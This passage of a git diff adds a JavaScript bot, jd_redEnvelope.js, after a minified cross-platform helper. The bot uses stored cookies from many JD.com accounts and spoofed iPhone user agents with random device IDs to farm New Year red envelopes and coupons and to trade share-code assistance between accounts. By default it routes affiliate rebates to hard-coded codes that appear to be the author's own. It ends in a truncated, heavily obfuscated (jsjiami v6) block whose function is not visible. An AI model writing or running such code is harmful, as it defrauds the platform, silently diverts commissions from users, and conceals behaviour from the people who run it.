this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_redEnvelope.js b/jd_redEnvelope.js new file mode 100644 index 0000000..2107763 --- /dev/null +++ b/jd_redEnvelope.js @@ -0,0 +1,494 @@ +/* +蛙老的会场红包脚本 +0 10 * * * jd_redEnvelope.js +整点跑 红包几率大点 + +返利变量:gua_nhjRed_rebateCode,若需要返利给自己,请自己修改环境变量[gua_nhjRed_rebateCode]换成自己的返利 +export gua_nhjRed_rebateCode="" + +需要助力[火力值]的账号pin值 +如:【京东账号2】pin +pin1换成对应的pin值 用,分开 +只助力2个 满了脚本自动从ck1开始替换未满的 +export gua_nhjRed_rebatePin="pin1,pin2" +*/ +let rebateCodes = '' +let rebatePin = '' +const $ = new Env('年货节红包'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +CryptoScripts() +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +rebatePin = $.isNode() ? (process.env.gua_nhjRed_rebatePin ? process.env.gua_nhjRed_rebatePin : `${rebatePin}`) : ($.getdata('gua_nhjRed_rebatePin') ? $.getdata('gua_nhjRed_rebatePin') : `${rebatePin}`); +let rebatePinArr = rebatePin && rebatePin.split(',') || [] +let rebateCode = '' +message = '' +newCookie = '' +resMsg = '' +$.endFlag = false +let shareCodeArr = {} +$.runArr = {} +const activeEndTime = '2022/01/27 00:00:00+08:00';//活动结束时间 +let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; +let timeH = $.time('H') +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (nowTime > new Date(activeEndTime).getTime()) { + //活动结束后弹窗提醒 + $.msg($.name, '活动已结束', `请删除此脚本\n咱江湖再见`); + $.setdata('','gua_JDnhjRed') + return + } + $.shareCodeArr = $.getdata('gua_JDnhjRed') || {}; + // $.shareCodeArr = {}; + let pinUpdateTime = $.shareCodeArr["updateTime"] || '' + $.shareCode = '' + $.again = false + let getShare = false + if(Object.getOwnPropertyNames($.shareCodeArr).length > 0 && ($.shareCodeArr["updateTime"] && $.time('d',new Date($.shareCodeArr["updateTime"] || Date.now()).getTime()) == $.time('d')) && timeH != 20 && timeH != 10 && timeH != 0){ + $.shareCodeArr = {} + $.shareCodeArr["flag"] = true + getShare = true + } + try{ + for (let i = 0; i < cookiesArr.length && getShare; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if(rebatePinArr.length > 0 && rebatePinArr.indexOf($.UserName) == -1) continue + $.index = i + 1; + await getUA() + await run(1); + let n = 0 + for(let s in $.shareCodeArr || {}){ + if(s === 'flag' || s === 'updateTime') continue + if($.shareCodeArr[s]) n++ + } + if($.endFlag || n >= 2) break + } + } + }catch(e){ + console.log(e) + } + try{ + for (let i = 0; i < cookiesArr.length && getShare; i++) { + cookie = cookiesArr[i]; + if (cookie) { + let n = 0 + for(let s in $.shareCodeArr || {}){ + if(s === 'flag' || s === 'updateTime') continue + if($.shareCodeArr[s]) n++ + } + if(n >= 2) break + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if(n >= 2 && rebatePinArr.length > 0 && $.rebatePinArr[$.UserName]) continue + $.index = i + 1; + await getUA() + await run(1); + if($.endFlag) break + } + } + }catch(e){ + console.log(e) + } + if(Object.getOwnPropertyNames($.shareCodeArr).length > 0 && $.shareCodeArr["updateTime"] != pinUpdateTime) $.setdata($.shareCodeArr,'gua_JDnhjRed') + if(Object.getOwnPropertyNames($.shareCodeArr).length > 0){ + for(let s in $.shareCodeArr || {}){ + if(s === 'flag' || s === 'updateTime') continue + if($.shareCodeArr[s]) shareCodeArr[s] = $.shareCodeArr[s] + } + } + + for (let i = 0; i < cookiesArr.length; i++) { + if($.endFlag) break + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + if($.runArr[$.UserName]) continue + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await getUA() + await run(); + if($.endFlag) break + } + } + if(Object.getOwnPropertyNames($.shareCodeArr).length > 0 && $.shareCodeArr["updateTime"] != pinUpdateTime) $.setdata($.shareCodeArr,'gua_JDnhjRed') + if(message){ + $.msg($.name, ``, `${message}\nhttps://u.jd.com/SCMjnig\n\n跳转到app 可查看助力情况`); + if ($.isNode()){ + // await notify.sendNotify(`${$.name}`, `${message}\n\nhttps://u.jd.com/SCMjnig\n跳转到app 可查看助力情况`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(type = 0){ + try{ + rebateCodes = ["SCMjnig", "SIMHz54", "StIuUgG"]; + rebateCodes = rebateCodes[Math.floor((Math.random() * rebateCodes.length))] + rebateCodes = $.isNode() ? (process.env.gua_nhjRed_rebateCode ? process.env.gua_nhjRed_rebateCode : `${rebateCodes}`) : ($.getdata('gua_nhjRed_rebateCode') ? $.getdata('gua_nhjRed_rebateCode') : `${rebateCodes}`); + rebateCode = rebateCodes + console.log(rebateCode) + resMsg = '' + let s = 0 + let t = 0 + do{ + rebateCode = rebateCodes + if(t>2) s = 0 + $.flag = 0 + newCookie = '' + await getUrl() + if(!$.url1){ + console.log('获取url1失败') + break + } + await getUrl1() + $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || `https://prodev.m.jd.com/mall/active/2UboZe4RXkJPrpkp6SkpJJgtRmod/index.html?unionActId=31137&d=${rebateCode}` + // let arr = await getBody($.UA,$.url2) + // await getEid(arr) + if(!$.eid){ + $.eid = -1 + } + if(type == 0){ + let n = 0 + if(Object.getOwnPropertyNames(shareCodeArr).length > s && timeH != 10 && timeH != 20){ + for(let i in shareCodeArr || {}){ + if(i == $.UserName) { + $.flag = 1 + continue + } + if(n == s) { + $.flag = 0 + $.shareCode = shareCodeArr[i] || '' + if($.shareCode) console.log(`助力[${i}]`) + let res = await getCoupons($.shareCode,1) + if(res.indexOf('上限') > -1){ + await $.wait(parseInt(Math.random() * 5000 + 3000, 10)) + await getCoupons('',1) + } + } + n++ + } + }else{ + let res = await getCoupons('',1) + if(res.indexOf('上限') > -1){ + await $.wait(parseInt(Math.random() * 5000 + 3000, 10)) + await getCoupons('',1) + } + } + if($.endFlag) break + }else{ + let res = await showCoupon() + if(res && $.again == false) await shareUnionCoupon() + if($.again == false) break + } + if($.again == true && t < 2){ + t++ + $.again = false + } + s++ + if($.flag == 1){ + await $.wait(parseInt(Math.random() * 5000 + 3000, 10)) + } + }while ($.flag == 1 && s < 5) + if($.endFlag) return + if(resMsg){ + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${resMsg}` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} +function getCoupons(shareId = '',type = 1) { + return new Promise(async resolve => { + await requestAlgo(); + let time = Date.now() + let body = {"platform": 2,"unionActId": "31137","actId": $.actId,"d": rebateCode,"unionShareId": shareId, "type": type,"eid": "-1"} + let h5st = h5stSign(body) || 'undefined' + let message = '' + let opts = { + url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${time}&loginType=2&body=${(JSON.stringify(body))}&client=apple&clientVersion=8.3.6&h5st=${h5st}`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${newCookie} ${cookie}`, + "User-Agent": $.UA , + } + } + if($.url2) opts["headers"]["Referer"] = $.url2 + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(Object.getOwnPropertyNames($.shareCodeArr).length > 0 && ($.shareCodeArr["updateTime"] && $.time('d',new Date($.shareCodeArr["updateTime"] || Date.now()).getTime()) == $.time('d'))){ + $.shareCodeArr["flag"] = false + }else if(Object.getOwnPropertyNames($.shareCodeArr).length > 0 && ($.shareCodeArr["updateTime"] && $.time('d',new Date($.shareCodeArr["updateTime"] || Date.now()).getTime()) != $.time('d'))){ + $.shareCodeArr["flag"] = true + $.shareCodeArr["updateTime"] = $.time('yyyy-MM-dd HH:mm:ss') + } + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.msg){ + message = res.msg + console.log(res.msg) + } + if(res.msg.indexOf('不展示弹层') > -1) $.again = true + if(res.msg.indexOf('上限') === -1 && res.msg.indexOf('登录') === -1){ + $.flag = 1 + } + if(res.msg.indexOf('活动已结束') > -1 || res.msg.indexOf('活动未开始') > -1){ + $.endFlag = true + return + } + if(shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined'){ + console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) + } + if(res.code == 0 && res.data){ + let msg = '' + if(res.data.type == 1){ + msg = `获得[红包]🧧${res.data.discount}元 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else if(res.data.type == 3){ + msg = `获得[优惠券]🎟️满${res.data.quota}减${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else if(res.data.type == 6){ + msg = `获得[打折券]]🎫满${res.data.quota}打${res.data.discount*10}折 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else{ + msg = `获得[未知]🎉${res.data.quota || ''} ${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + console.log(data) + } + if(msg){ + resMsg += msg+'\n' + console.log(msg) + } + } + if(shareId && typeof res.data !== 'undefined' && typeof res.data.groupInfo !== 'undefined'){ + for(let i of res.data.groupInfo || []){ + if(i.status == 2){ + console.log(`助力满可以领取${i.info}元红包🧧`) + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + await getCoupons('',2) + } + } + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(message); + } + }) + }) +} +function showCoupon(shareId = '') { + let msg = true + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=showCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22actId%22:%22${$.actId}%22,%22unionActId%22:%2231137%22,%22unpl%22:%22%22,%22platform%22:4,%22unionShareId%22:%22%22,%22uiUpdateTime%22:1641456650000,%22d%22:%22${rebateCode}%22,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${newCookie} ${cookie}`, + "User-Agent": $.UA , + } + } + if($.url2) opts["headers"]["Referer"] = $.url2 + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.msg) console.log(res.msg) + if(res.msg.indexOf('不展示弹层') > -1) $.again = true + if(res.msg.indexOf('领取上限') > -1) $.runArr[$.UserName] = true + if(res.msg.indexOf('上限') === -1 && res.msg.indexOf('登录') === -1){ + $.flag = 1 + } + if(typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined'){ + let flag = false + for(let i of res.data.groupInfo){ + if(i.status != 6 && res.data.joinNum >= i.num){ + flag = true + }else{ + flag = false + } + } + if(flag == true) msg = false + console.log(`【账号${$.index}】${$.nickName || $.UserName} ${res.data.joinSuffix}:${res.data.joinNum} ${flag == true && res.data.joinSuffix+"满了" || ''}`) + } + if(res.msg.indexOf('活动已结束') > -1){ + msg = false + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(msg); + } + }) + }) +} +function shareUnionCoupon() { + $.shareCodeArr[$.UserName] = '' + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231137%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${rebateCode}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${newCookie} ${cookie}`, + "User-Agent": $.UA , + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.code == 0 && res.data && res.data.shareUrl){ + let shareCode = res.data.shareUrl.match(/\?s=([^&]+)/) && res.data.shareUrl.match(/\?s=([^&]+)/)[1] || '' + if(shareCode){ + console.log(`【账号${$.index}】${$.nickName || $.UserName} 分享码:${shareCode}`) + $.shareCodeArr["updateTime"] = $.time('yyyy-MM-dd HH:mm:ss') + $.shareCodeArr[$.UserName] = shareCode + } + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getUrl1() { + return new Promise(resolve => { + const options = { + url: $.url1, + followRedirect:false, + headers: { + 'Cookie': `${newCookie} ${cookie}`, + "User-Agent": $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + setActivityCookie(resp) + $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' + $.url2 = decodeURIComponent($.url2) + $.url2 = $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getUrl() { + return new Promise(resolve => { + const options = { + url: `https://u.jd.com/${rebateCode}${$.shareCode && "?s="+$.shareCode || ""}`, + followRedirect:false, + headers: { + 'Cookie': `${newCookie} ${cookie}`, + "User-Agent": $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + setActivityCookie(resp) + $.url1 = data && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function setActivityCookie(resp){ + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(newCookie.indexOf(name.split("=")[1]) == -1) newCookie += name.replace(/ /g,'')+'; ' + } + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.2.2;14.3;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone12,1;addressid/4199175193;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +var _0xodD='jsjiami.com.v6',_0xodD_=['‮_0xodD'],_0x3755=[_0xodD,'w6EddcKmwr8EHl8=','eyVdw4RJAsKewrY=','TA5SF8KrCgnClTVq','eyVdw4hHDg==','w5ACB8O0wpY=','CF0/w5TCnsO1wpvCjw==','w4kXKSTCtMK6wrvDhUnDrsKTw7pyO0g=','XmUjwpQ=','wqvCosOkw78iwqLDtcOtQSdq','w4UbCsOowpBR','AiAOw7Yd','JCXCvMKhY0Y=','wolnw43Cp8OefcKC','LcKgX8Od','wo7Dl8K0Tm0=','XsOqOhbDlg==','w5l3VCzDi8KH','Smplw67DiMOs','w5UBBsO4woVX','SMK8aAjCosKu','w6TDkwHCr8K/w5c=','X17Do0DCvQ==','w5LCgsOdwprDoA==','XVrDpUbCqsOnwo4=','woNnw5jCp8ONbA==','EMKNwpA=','w5R8w58scg==','w6/DkxvCi8Kkw4p0e0pj','e3AJwo5Y','wq8xOUY0wqB3bGPCow==','VVfCvHDClsKlw5RpMcKFHsKrRsOYLD8/bnsmwqcrFg==','wqjDj8OUw6/DknAawoDCt8KEMHHCksKNS1nDkxPCmUXCgT55wrY=','w4xfw64AVA==','w4BAw4cNbA==','wrl4w5rCl8O5','wqnDqBDCq8Kjwp/CsQ==','EmrDisKMw7Q=','LFnCkB5r','wrPDrsKbw6jCtw==','w7nCjMKywoYL','CcO8Fxht','TcKadwjCsQ==','w5AnGcO4wpY=','w6s7dsK6wpc=','VCoBwrnDkA==','w5k3I8OUwqg=','dQxQw49C','w68iJT3CvA==','w53Cm8OHejM=','w6rCr00IXHUFwrHDssOUT3E7JS3Dv8KqJ8OXEsO5EsKowoYWw4LCjsOKw7ZmeU3CsMOSVErCp8KIwpfDg2vCkMO8aA==','wobDucKjwrjDjw==','w4kINBnDscO2wrPDiVzDp8KRw6F5cxvCtcOV','w5UqJ8OjwrE=','JjMpwrpR','w5TCscOFwq/DlcK9w40EdQXCsHHCngkfw718w6rCtmQwwppOA11Gwo9Iwqdl','w4AdKg==','w7fCrxDCq8KjwojCssK2wpPCjMOcasKzQCRvMWTCs8KPwq9GD8Kuwq/DnsKpLmdWDsKaw4Znwr7Cow==','P8KpwrjDiTY=','GsKEesOow7M=','w57Dm8OkZhg=','wpbDl8OYw5vDpA==','ZVrCkRvCpw==','wqnDk8Ouw5bDlg==','w6wWQsKJwrk=','w4o+R8KJwqU=','w4defB/DuA==','wpTDq8KEwpbDgQ==','Q8OoKAg=','YsKXecKBw5A=','w43Cl8OhQA==','PgPCusKSYA==','wo5AW8K1w5I=','Kl8Hw4DChw==','WcOoMhI=','CMKXYcOmw6Q=','DcKWAcK7woc=','ScKPbMKiw4Q=','wq3DoxbClcK6','w7TCulUNSg==','wplJwpHChsKM','w4Ntw4Mwcw==','w6fCnsOXwrTDvw==','KzYNwrtl','bE3DqEPCrMOmw6RS','ek1Kwr/CnMKu','X8K8VR/CscKzA18=','w4J5w44qTg==','Smliw6jDh8Osw749FDPDimHDtA==','eW5+w7rDoA==','woJNwoLCqcK2','XsOmKw==','JMK7P8KQwpU=','wrDDr8Oaw5nDlA==','PMKEwrI=','MsOoGgNu','w5lcw54JUg==','QSwtwrHDjEE=','XWpgw6jDhw==','P3nCkD56cj8H','wqDCrMOJw5U6','w7zDmTzCvMK5w5Zqcw==','w7UcEcOrwpBMFUc=','w7XCtMKHwqYIwro9Aw==','w5LCgsOlwovDvMKaw6TDjQ==','w73CtsKpw5EJw7ATwpo=','TnbCtxDCoVY=','XWpYw7nDm8Oxw4Y/','w6rCtsKUw4Yaw60=','w5IzIAbDqA==','ciVhw4FJ','w6jCtFAW','w7Rew7s2WQ==','w7nCuMKIw5Ye','UiYowp/Dhw==','VMOiNTfDucKA','w5Q5PxbDtE8b','wpR3wqLCocKUXQ==','w6xWczPDhQ==','w5vDgiDCpcKx','w73CscKvw7Qr','wq7DjsONw73DhDg=','wrLDqgtLG3ocwqnCqcKMTWctMmbDs8KpYcOdF8O/UcK3wo0Iw4fCmsOLw7FNbVfCoMOFElfCucK+wq3Cuk/CvMOaWHxXw45ww4sQb38mVsOawq7CtVMGwoHDosOnLXg=','w47DjcOxThs=','a8ODOTvDhA==','wrLDiMKCw5vChMKU','L2wBMw==','w5Flw4wxQsK6w67Cjg==','YsKaQzPCrA==','WB9UM8KsAw==','w5Y7wqIjwqhRXiI=','EgjCp8K+bw==','FsKJwpE=','BGgKMEM=','w48xRMK2wr8=','A8K2aU/CqMOMG8Kuwpoc','UEY/wopf','OXfCrS5ndg==','RnzCoA==','wq3DrAzCssKn','w4csOwrDog==','wo7DtMKUfw==','w6jCqcKKw4ke','w6bCg8OfwpLDhg==','LD04w4AcYMKAAWk4','w4x1w5Y8W8KOw7rCjwvDg8KBwpMAw7nCi8Kpw58=','w4DDvMOew7bDgQ==','w7/DqcKg','w6EdKcOawqA=','w706HFvDqMOg','w4F9aT/DjQ==','wq3DiMOWw6/DtQ==','Bi8Dwrpw','w5Y8acK+wpc=','w7hlfzZvw6AxNDXDqQ==','wqbDksOrw57Dsw==','w4DCocOlwpbDqA==','Ii/Cu8Ko','w6coGMOPwr4=','aSdLw69f','w6XCvlczSjY=','W1DDulbCtg==','w4M4woE/wrtaVTE=','R8OKSHR4','W1DDgkfCqsOgw4Bm','XzJQw7xSGMKmwpY=','w5IzGBfDtEhVw6U=','wrfCny3DoBPDhg==','LWHDtMKXw63CjsK4w5Q=','fy9Hw69HAw==','w6LCtMK6wrEbwqc=','wrTDlMOLw7rDjw==','w7xvZRZhw6E=','wprCoMO+w4gU','w4XDicOBATjChA==','w4XCl8OsVw==','w6gRwoHCrw8=','w5HDhMOj','w4XCq8KmwqMP','FsOOBQFzLgFa','w6/DkxvCjMKqw4th','UjOswzgjiYakmNi.lcorLmd.v6Mh=='];if(function(_0x3cc2ee,_0x401c8f,_0x52fa5){function _0x292300(_0x4aecde,_0x30a469,_0x22febf,_0x1c3485,_0x5f90e8,_0x183d88){_0x30a469=_0x30a469>>0x8,_0x5f90e8='po';var _0x4ea584='shift',_0x2c1210='push',_0x183d88='‮';if(_0x30a469<_0x4aecde){while(--_0x4aecde){_0x1c3485=_0x3cc2ee[_0x4ea584]();if(_0x30a469===_0x4aecde&&_0x183d88==='‮'&&_0x183d88['length']===0x1){_0x30a469=_0x1c3485,_0x22febf=_0x3cc2ee[_0x5f90e8+'p']();}else if(_0x30a469&&_0x22febf['replace'](/[UOwzgYkNlrLdMh=]/g,'')===_0x30a469){_0x3cc2ee[_0x2c1210](_0x1c3485);}}_0x3cc2ee[_0x2c1210](_0x3cc2ee[_0x4ea584]());}return 0xcc15a;};return _0x292300(++_0x401c8f,_0x52fa5)>>_0x401c8f^_0x52fa5;}(_0x3755,0xcd,0xcd00),_0x3755){_0xodD_=_0x3755['length']^0xcd;};function _0xa18f(_0x451302,_0x7fa80a){_0x451302=~~'0x'['concat'](_0x451302['slice'](0x1));var _0x14fcac=_0x3755[_0x451302];if(_0xa18f['uAxCPA']===undefined){(function(){var _0x59b468=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x24db3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59b468['atob']||(_0x59b468['atob']=function(_0x223fc6){var _0x1e0a13=String(_0x223fc6)['replace'](/=+$/,'');for(var _0x249926=0x0,_0x512dd4,_0x30d0ba,_0x31f5bb=0x0,_0x3ad98a='';_0x30d0ba=_0x1e0a13['charAt'](_0x31f5bb++);~_0x30d0ba&&(_0x512dd4=_0x249926%0x4?_0x512dd4*0x40+_0x30d0ba:_0x30d0ba,_0x249926++%0x4)?_0x3ad98a+=String['fromCharCode'](0xff&_0x512dd4>>(-0x2*_0x249926&0x6)):0x0){_0x30d0ba=_0x24db3a['indexOf'](_0x30d0ba);}return _0x3ad98a;});}());function _0x1ae774(_0x4d9857,_0x7fa80a){var _0x407e7d=[],_0x2deef8=0x0,_0x2e9dc4,_0x28847f='',_0xfd9e24='';_0x4d9857=atob(_0x4d9857);for(var _0x3f4807=0x0,_0x475002=_0x4d9857['length'];_0x3f4807<_0x475002;_0x3f4807++){_0xfd9e24+='%'+('00'+_0x4d9857['charCodeAt'](_0x3f4807)['toString'](0x10))['slice'](-0x2);}_0x4d9857=decodeURIComponent(_0xfd9e24);for(var 